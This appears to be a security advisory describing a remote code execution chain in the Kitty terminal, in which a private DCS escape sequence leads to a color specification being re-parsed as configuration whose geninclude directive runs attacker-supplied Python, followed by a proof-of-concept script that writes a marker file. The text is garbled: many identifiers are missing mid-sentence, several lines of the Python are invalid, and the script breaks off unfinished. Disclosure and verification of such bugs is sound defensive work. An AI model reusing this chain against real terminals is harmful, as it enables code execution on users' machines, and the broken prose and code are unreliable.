Unauthenticated In-Process RCE in Kitty Terminal via DCS + geninclude

Unauthenticated in-process RCE via @kitty-edit DCS + --color=geninclude Vulnerability Overview A vulnerability exists in Kitty terminal that allows arbitrary bytes to be written to the terminal from remote SSH peers, downloaded files, logs, email bodies rendered in , and within any TUI. This can lead to the Kitty process executing attacker-provided Python code within the running Kitty process, using the user's full privileges. No approval permissions, no remote control permissions required, no shell integration interaction, no clipboard touch, and no user interaction are needed. The chain begins with the private DCS sequence ... ST ( helper protocol) and ends inside Kitty's own Python interpreter within ( , ). Existing inline mitigations that strip and (existing inline RCE shortcuts) do not cover this bug class. The same filter also strips : color configurations containing are re-parsed as inline Kitty configuration; and the Kitty configuration language respects , which calls for paths. Impact Scope Software: kitty Affected Versions: -> . The real ( branch name, calling -> ) writes a marker file containing the PID. The stub asserts that the PID equals itself. Run from the root of a Kitty source checkout (working directory must contain the package directory): ```python #!/usr/bin/env python3 -*- Offline confirmation of the kitty-edit color=geninclude RCE chain. """Runs without a live kitty install. Imports the unmodified kitty.conf.utils from the working tree and drives the real parse_config_base / parse_line / geninclude / runpy.run_path code path. Exits 0 if the chain fires. """ from __future__ import annotations import os import re import sys import types from pathlib import Path REPO = Path.cwd() PAYLOAD = REPO / "verify_payload.py" MARKER = Path("/tmp/kitty-color-rce-verify-marker") def write_payload() -> None: PAYLOAD.write_text( f"""import os f.open(f"{MARKER}", "w").write(f"pid={os.getpid()}\\n") """, encoding="UTF-8", ) def install_minimal_stubs() -> None: sys.path.insert(0, str(REPO)) fdt = types.ModuleType("kitty.fast_data_types") fdt.Color = type("Color", (), {"__init__": lambda self, a, "k": None}) fdt.WINDOW_FULLSIZE = fdt.WINDOW_HIDERS = fdt.WINDOW_MAXIMIZED = 0 fdt.WINDOW_MINIMIZED = fdt.WINDOW_NORMAL = 0 fdt.Shlex = type("Shlex", (), {}) fdt.SingleKey = type("SingleKey", (), {}) fdt.get_opts = lambda: None fdt.get_option = lambda: types.SimpleNamespace(clipboard_max_size=512) fdt.monotonic = lambda: 0.0 fdt.open_file = lambda "a", "k": None fdt.time_debug_print = lambda "a", "k": None sys.modules["kitty.fast_data_types"] = fdt utils = types.ModuleType("kitty.utils") utils.expandvars = lambda s, env=None: os.path.expandvars(s) if env is None else s utils.log_error = lambda s: None import shlex utils.shlex_split = shlex.split sys.modules["kitty.utils"] = utils def main() -> int: if not (REPO / "kitty" / "conf" / "utils.py").is_file(): print(f"Error: run this script from the root of a kitty source checkout.", file=sys.stderr) return 2 if MARKER.exists(): MARKER.unlink() write_payload() install_minimal_stubs() parse_colors does parse config(spec.replace("=", ".")) for any spec containing "=". Replicate the transform and feed the result through the real parse_config_base -> parse_line -> geninclude -> runpy.run_path. color_spec = f"geninclude={PAYLOAD.resolve()}" inline_line = color_spec.replace("=", ".", 1) import kitty.conf.utils as confu type: ignore confu.parse_config_base(inline_line, lambda "a", "k": True, {}, accumulate_new_lines=[]) if not MARKER.exists(): print(f"FAILED: marker not written; geninclude chain did not fire.", file=sys.stderr) return 1 body = MARKER.read_text() pid = int(re.search(r"pid=(\d+)", body).group(1)) if pid == os.getpid(): print(f"SUCCESS: marker pid ({pid}) == harness pid ({os.getpid()})") return 0 print(f"FAILED: marker pid ({pid}) != harness pid ({os.getpid()})") return 1 if __name

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Unauthenticated In-Process RCE in Kitty Terminal via DCS + geninclude

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